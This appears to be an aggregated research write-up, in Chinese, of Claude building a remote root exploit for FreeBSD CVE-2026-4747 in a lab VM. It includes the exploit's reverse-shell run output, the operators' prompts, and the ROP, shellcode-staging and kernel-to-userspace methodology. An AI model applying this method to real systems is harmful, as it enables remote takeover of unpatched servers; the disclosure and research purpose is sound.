跳到正文
Calif:Research(AI 漏洞研究)·· 1 天前精選AI 評分78

Claude 為 FreeBSD CVE-2026-4747 編寫可取得 root shell 的遠端核心漏洞利用程式

Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell (CVE-2026-4747)

AI 導讀

Calif 團隊讓 Claude 開發 FreeBSD CVE-2026-4747 遠端核心漏洞利用程式,約 8 小時後取得可開啟 root shell 的版本。Claude 實際工作約 4 小時,並以兩種策略各完成一個漏洞利用程式,兩者均一次成功。文章詳述測試環境、分階段傳送 shellcode、調整偏移量及由核心執行環境轉入用戶空間的處理。

推薦理由

文章按實測脈絡拆解測試環境、漏洞利用除錯與核心到用戶空間的轉換,並説明分階段傳送 shellcode 如何應對封包容量限制及執行緒耗損。

正文 · 繁體中文

據我們所知,這是首個由 AI 發現並成功利用的遠端核心漏洞利用程式。

時間線:

總耗時:約 8 小時實際時間。人類操作員大部分時間都不在電腦旁;Claude 實際工作的時間約為 4 小時。

Claude 實際上採用兩種不同策略,編寫了兩個漏洞利用程式。兩個程式都一次成功。以下是相關情況:

python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================

  [*] Starting listener on 0.0.0.0:4444...
  [*] Starting listener on 0.0.0.0:4444...

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/freebsd-vuln@TEST.LOCAL

  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 rounds (1 pmap + 14 write)

  [R1/15] pmap_change_prot(BSS, 0x2000, RWX)
  [+] BSS is now RWX

  [R2/15] write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15] write (4 qwords → 0xffffffff8198a820) ✓
  [R4/15] write (4 qwords → 0xffffffff8198a840) ✓
  [R5/15] write (4 qwords → 0xffffffff8198a860) ✓
  [R6/15] write (4 qwords → 0xffffffff8198a880) ✓
  [R7/15] write (4 qwords → 0xffffffff8198a8a0) ✓
  [R8/15] write (4 qwords → 0xffffffff8198a8c0) ✓
  [R9/15] write (4 qwords → 0xffffffff8198a8e0) ✓
  [R10/15] write (4 qwords → 0xffffffff8198a900) ✓
  [R11/15] write (4 qwords → 0xffffffff8198a920) ✓
  [R12/15] write (4 qwords → 0xffffffff8198a940) ✓
  [R13/15] write (4 qwords → 0xffffffff8198a960) ✓
  [R14/15] write (4 qwords → 0xffffffff8198a980) ✓
  [R15/15] write + EXECUTE (2 qwords → 0xffffffff8198a9a0) → JUMP 0xffffffff8198a800

  [*] Shellcode delivered and executing.
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Reverse shell → 10.0.2.2:4444

  [*] Waiting for reverse shell...
  [+] Connection from 127.0.0.1:41320
  [+] Got shell!

sh: can't access tty; job control turned off
# id                  
uid=0(root) gid=0(wheel) groups=0(wheel)

查看完整的漏洞利用程式和技術文章。所有內容都是 Claude 自行撰寫。以下是我們使用的提示詞(請見諒其中的錯字):

1. https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc we want to setup a test env for this vulnerability using docker preferably so the docker files can be copied later for easy repro. password for this vm is x , you should setup a vulnerable version of FreeBSD the latest it mentions and then trigger the vulnerability
2. we want to use docker for this not qemu if possible.. we should still be able to connect and debug it the same i assume
3. why does it need to be QEMU and not docker for this to be a real exploit?
4. no just use QEMU then
5. okay now can you maybe generate an entire RCE exploit for this image ?
6. wait what are you compiling? arent we testing it inside of the Fbsd VM using the actual FBSD module as described in the advisory ?
7. i mean why wouldnt you just install a vulnerable version as mentioned in the advisory
8. okay contoninue to trigger this vuln.
9. what old qemu did you kill? we are using qemu in another session as well. do not kill that Linux qemu.
10. why is it running on 2222 2049 and 1111
11. okay now what about getting RCE.
12. tere is no kaslr so it should be easy
13. install ropgadget or what ever you need ... idk
14. no we dont want to reboot? we want a reverse shell as uid 0 if possible ?
15. okay in ../FBSD-001 there is a different remote exploit that gets a shell.. read it for how they constructed the connect back as uid 0 maybe
16. is the ucred write even needed if the proc is uid0 ? and why dont we get a shell ? or can we demon strait somehow a unpriv non root user that elevates to root? but we still want a shell.. as uid0
17. from a remote context aka the exploit should be executed from outside the vm
18. no just continue to get the remote version working. use gdb and hat ever tools you need.
19. you should do this step by step - for the remote version foucs on triggering then getting PC control then the rop.
20. you need to keep notes of our current status and what you have done to get here. thanks.
21. you should verify everything with gdb if you need etc.
22. 1. Pure ROP — no shellcode needed, but we're stuck on rax→rdi transfer (no gadget exists in this kernel) how are ou searching for rop gadgets?
23. why do we need kdc ?
24. nope that wont work as we cant do that from a remote exploit context without having accss to the shell
25. dont think we can prestage a /tmp/x ..
26. working means a connectback shell as uid0
27. when you get it workng i want a complete writeup of th evuln, the exploit methodology, the ropchain, the overflow, and how to install and setup a vuln target
for testing
28. i want a shell.
29. wait what do you mean increase nfs threadcount i guess we should use defaults here..
30. no just continue to get the remote version working. use gdb and hat ever tools you need.
31. make the writeup better explaining each step of the exploit and why
32. also # SSH tunnel for Kerberos KDC sshpass -p freebsd ssh -L 8888:127.0.0.1:88 -N -f -p 2222 root@127.0.0.1 is it possible to do without an ssh tunnel ?
33. can you do the forward nstead of ssh tunnel then test the exploit again
34. /tmp/final_exploit hardly looks like the final exploit ...
35. why dont you make a nicer exploit where you can supply a target and cb ip ... and do everything inline in that exploit
36. the rop / shellcode everything ..
37. the writeup feels kind of bare, explain the shellcode as if the reader has never seen FBSD001 also what do you mean the "bruteforce" version?
38. also retest and verify it works
39. update the writeup to tell how to also setup a vulnerable target using vmware for example without a KDC tunnel
40. how can i boot the qemu and test it
41. why is KDC required? and nfsd ?
42. okay you noted this stuff in the writeup?
43. do you have the prompt log ? i want to see the original prompt for this
44. can you give me back all the prompts i entered in this session

Claude 的成果

要從漏洞公告著手,開發出可用的遠端 root shell,Claude 必須解決六個不同問題。值得注意的是,FreeBSD 比現代 Linux 核心更容易處理:FreeBSD 14.x 沒有 KASLR(核心位址固定且可預測),而且整數陣列沒有堆疊 canary(溢位的緩衝區是int32_t[])。

  1. 實驗室設定:建立一部 FreeBSD VM,配置 NFS、Kerberos 和有漏洞的核心模組,確保可以透過網絡觸發緩衝區溢位。Claude 知道 VM 需要 2+ 個 CPU,因為 FreeBSD 每個 CPU 會啟動 8 個 NFS 執行緒,而漏洞利用程式每輪會終止一個執行緒。這也包括設定遠端除錯功能,讓 Claude 可以讀取核心當機傾印。
  2. 多封包傳送:shellcode 無法放進單一封包。Claude 設計了 15 輪策略:先令核心記憶體可執行,再透過 14 個封包,每次寫入 32 bytes 的 shellcode。在另一個私下與我們分享的漏洞利用程式中,Claude 採用不同策略:將公鑰寫入.ssh/authorized_keys,而非使用反向 shell,將漏洞利用程式縮短至 6 輪。
  3. 正常結束執行緒:每次緩衝區溢位都會劫持一個 NFS 核心執行緒。Claude 使用kthread_exit()正常終止每個執行緒,讓伺服器可以繼續運作,進行下一輪。
  4. 偏移量除錯:從反組譯結果取得的初始堆疊偏移量並不正確。Claude 傳送了De Bruijn 模式(一種常見技術,但我們讀到技術文章前都沒聽過這個術語),讀取當機傾印,並修正偏移量。
  5. 由核心切換至使用者空間:NFS 執行緒無法執行使用者空間程式。Claude 透過kproc_create()建立新程序,使用kern_execve()將其替換為/bin/sh,並清除P_KPROC旗標,讓程序可以切換至使用者模式。
  6. 硬件斷點錯誤:子程序持續因除錯例外而當機。Claude 追查後發現,原因是從 DDB 繼承了過時的除錯暫存器;Claude 在建立子程序前清除 DR7,解決了問題。

如果你還未被這些內容搞得頭昏腦脹,以下是詳細資料。

背景

CVE-2026-4747 是 FreeBSD kgssapi.ko 核心模組中的遠端核心程式碼執行漏洞;該模組負責實作 NFS 的 RPCSEC_GSS 驗證。這是一個典型的堆疊緩衝區溢位錯誤:svc_rpc_gss_validate()會將由攻擊者控制的憑證主體複製到 128-byte 的堆疊緩衝區(rpchdr[]),但沒有檢查長度。由於緩衝區已有 32 bytes 用於 RPC 標頭欄位,因此只剩 96 bytes;然而,XDR 層允許憑證長達 400 bytes,導致緩衝區溢位 304 bytes。

溢位發生在核心環境(ring 0)的 NFS 工作執行緒中,因此控制 RIP 就代表取得完整的核心程式碼執行能力。不過,要觸發有漏洞的 memcpy,必須具備有效的 Kerberos GSS context:攻擊者需要持有任何有效的 Kerberos 票證(即使是未有特權的票證),而且票證必須屬於 NFS 服務主體。

Claude 從這個教科書式的堆疊緩衝區溢位入手,將其變成可靠的 15 輪遠端 root shell。以下是主要工作,大致按完成次序排列。

步驟 0:實驗室環境設定

在開始開發任何攻擊之前,Claude 必須先建構可用的測試環境:一部可透過網絡觸發有漏洞程式碼路徑的 FreeBSD 14.4-RELEASE VM。這包括:

  • 安裝 FreeBSD,並配置 2 個或以上的 CPU(每個 CPU 會啟動 8 個 NFS 執行緒;攻擊需要 15 輪,因此 1 個 CPU 並不足夠)
  • 載入 kgssapi.ko,並啟用監聽 2049/TCP 連接埠的 NFS 伺服器
  • 在 VM 本身架設 MIT Kerberos KDC、建立服務主體(nfs/test@TEST.LOCAL),並擷取 keytab:因為只有透過完全驗證的 RPCSEC_GSS 程式碼路徑,才能觸及有漏洞的 memcpy
  • 在攻擊者主機上,使用 rdns = false 和 dns_canonicalize_hostname = false 設定 /etc/krb5.conf:若沒有這些設定,MIT Kerberos 會透過反向 DNS 將目標主機名稱正規化,產生屬於 nfs/localhost@TEST.LOCAL 而非 nfs/test@TEST.LOCAL 的票證。伺服器會因為 KRB5KRB_AP_WRONG_PRINC 而拒絕這項不相符,攻擊便無法觸及溢位
  • 設定連接埠轉送(QEMU user-mode NAT:主機 2049 轉送至 guest 2049,主機 8888 轉送至 guest 88),讓攻擊者可以連接 NFS 和 KDC
  • 執行 QEMU 時使用 -nographic,將核心 panic 輸出寫入記錄檔,讓 Claude 可以透過工具讀取:這是擷取 De Bruijn 模式所造成崩潰的暫存器值的方法

Kerberos 設定並不簡單。這個漏洞必須先有有效的 GSS context 才會觸發溢位,因此必須先確保整套 Kerberos 基礎設施(KDC、主體、keytab、票證取得)端對端正常運作,才能開始開發攻擊。

步驟 1:多封包傳送策略

核心限制是:XDR 層將憑證大小限制為 400 bytes,但扣除 GSS 標頭、填充資料和已儲存的暫存器後,ROP 鏈只剩下 200 bytes。Shellcode 有 432 bytes,根本無法放進單一封包。

Claude 的解決方法是將攻擊設計成分階段寫入迴圈。第 1 輪使用 ROP 呼叫 pmap_change_prot(),令核心 BSS 可寫入及執行。第 2 至第 15 輪各自使用 pop rdi / pop rax / mov [rdi], rax 原語,每個封包將 32 bytes 的 shellcode 寫入 BSS。最後一輪會寫入剩餘位元組,然後跳至 shellcode。這個方法將原本只有 200-byte 的 ROP 預算轉化成不受限的寫入原語,只是需要傳送更多封包。

每次 8-byte 寫入需要 40 bytes 的 ROP 鏈(3 個 gadget + 2 個立即數)。每輪寫入 4 次,共需 160 bytes;加上 24 bytes 的正常結束程式碼,總共 184 bytes,符合 200-byte 預算。寫入 5 次則需要 224 bytes,超出限制。

Claude 亦發現每輪都會使一個 NFS 執行緒終止,並查明 FreeBSD 每個 CPU 會啟動多少個執行緒(8 個),由此判斷 VM 需要 2 個或以上的 CPU 才能完成全部 15 輪。

步驟 2:正常結束執行緒(避免 panic)

透過堆疊溢位劫持 RIP,會遇到一個顯而易見的問題:ROP 鏈執行完畢後會怎樣?若正常返回,程式會從已損壞的堆疊中取出垃圾資料,導致 panic。Claude 的解決方法是在每條 ROP 鏈結尾加入 kthread_exit(0),以正常方式結束目前的 NFS 工作執行緒。核心不會 panic,只會少一個 NFS 執行緒。NFS 伺服器會繼續運作,等待接受下一輪連線。

步驟 3:除錯 RIP 位移(De Bruijn 模式)

最初根據靜態反組譯計算的偏移量顯示,RIP 應位於憑證內第 168 個位元組處。但實際情況並非如此:exploit 在錯誤的位置崩潰,或完全沒有崩潰。Claude 將 De Bruijn 循環模式作為憑證本文傳送,在核心發生 panic 後,從 QEMU 主控台記錄中讀取故障時的指令指標,再到模式中查找這個 8 位元組值。結果是:第 200 個位元組,而不是第 168 個。32 位元組的差異源於 GSS 標頭(版本、程序、序號、服務、16 位元組控制代碼)也屬於憑證本文的一部分;靜態反組譯分析並未計入這一點。

De Bruijn 序列具有一項特性:每個 n 位元組子字串都獨一無二。這其實是計算偏移量的一種常見技巧,只是名稱比較專門。當核心因返回位址無效而發生 panic 時,FreeBSD 會在主控台輸出 trap frame 傾印:

Fatal trap 12: page fault while in kernel mode
instruction pointer     = 0x20:0x6941624162413941
frame pointer           = 0x28:0x4130624139614839

每個暫存器值都會對應到模式中的唯一偏移量。一次崩潰就能同時得出所有被覆寫暫存器的偏移量。由於 Claude 將 QEMU 的輸出重新導向至記錄檔,因此可以使用檔案讀取工具讀取崩潰傾印,並以程式方式計算偏移量。

第 4 步:由核心模式切換至用戶模式

這是最深層的技術挑戰。shellcode 在被劫持的 NFS 執行緒上執行,而這是純核心執行緒:沒有用戶 vmspace,沒有 trapframe,也沒有方法可以 iretq 回到用戶空間。你不能直接呼叫 execve()。

Claude 的解決方案採用兩階段設計:

  • 階段 1(進入):呼叫 kproc_create(),它會在內部呼叫 fork1(),建立一個全新的程序,並備妥所有用戶模式所需的基礎設施(proc、thread、vmspace、trapframe)。接著呼叫 kthread_exit(),終止 NFS 執行緒。
  • 階段 2(工作程序):透過 fork_exit 回呼在新程序中執行,並呼叫 kern_execve("/bin/sh", "-c", REVSHELL)。這會載入 ELF 二進制檔案、設定 trapframe 中的用戶模式 RIP/RSP/CS/SS,並返回 EJUSTRETURN。然後清除 P_KPROC 旗標:若不清除,fork_exit() 會呼叫 kthread_exit(),在程序到達用戶空間前將其終止。清除 P_KPROC 後,fork_exit() 會採用正常路徑:userret() → doreti → iretq → CPU 切換至 ring 3 → /bin/sh 以 uid 0 身分執行。

詳細的返回路徑:

  1. kern_execve() 將 /bin/sh 載入程序的新 vmspace
  2. 它會設定執行緒的 trapframe:tf_rip = ELF 進入點,tf_rsp = 用戶堆疊,tf_cs/tf_ss = 用戶模式分段(CPL 3)
  3. 工作程序清除 P_KPROC(proc->p_flag 中的位元 0x04),然後返回至 fork_exit()
  4. fork_exit() 呼叫 userret(td)(處理訊號、調整分段)
  5. fork_exit() 返回至 doreti,後者會執行 iretq
  6. iretq 彈出 trapframe:CPU 由 ring 0 切換至 ring 3
  7. /bin/sh 在用戶空間以 uid 0 身分執行,並執行反向 shell 指令

第 5 步:硬件斷點之謎(DR7/DDB)

其他一切都已正常運作:shellcode 正在執行、kproc_create 成功、ps 中可見程序名稱;但工作程序仍會在完全有效的指令處因 trap 1(偵錯例外)而崩潰。這完全説不通。

Claude 追查後發現,原因是先前遺留的副作用:開發 exploit 期間,較早的失敗嘗試曾導致核心發生 panic,並進入 DDB(FreeBSD 的核心偵錯工具)。DDB 會在 x86 偵錯暫存器中設定硬件斷點(DR0-DR3 儲存位址,DR7 負責控制)。這些暫存器位於執行緒的 PCB(程序控制區塊)中。當 kproc_create 呼叫 fork1(),將父程序的 PCB 複製到子程序時,子程序也會繼承這些殘留的斷點。當工作程序的程式碼碰巧存取受監視的位址時,CPU 便會觸發偵錯例外:trap 1:panic。

修正方法:在進入用 shellcode 中,於 kproc_create 之前加入兩條指令:

xor eax, eax
mov dr7, rax      ; disable all hardware breakpoints

DR7 是控制暫存器:將其歸零即可停用全部四個斷點,無須逐一清除 DR0-DR3。這可確保子程序啟動時除錯暫存器處於乾淨狀態,不受 DDB 對父程序所作操作的影響。

結論

電腦一直都能找出軟件中的錯誤。AFL 和 syzkaller 等模糊測試工具十多年來一直在發掘核心漏洞。但找出錯誤與利用漏洞是截然不同的事。開發漏洞利用程式需要理解作業系統內部原理、編寫 ROP 鏈、管理記憶體配置、除錯當機問題,並在出現問題時作出調整。長久以來,這一直被視為只有人類才能跨越的前沿。

每當 AI 增添新能力,通常都會有人説:「AI 可以做到 Y,但只有人類才能做到 X。」如今,就 X=漏洞利用程式開發而言,這條界線剛剛又向前推進。

程式碼及 PoC →

來源:Calif:Research(AI 漏洞研究) · calif.io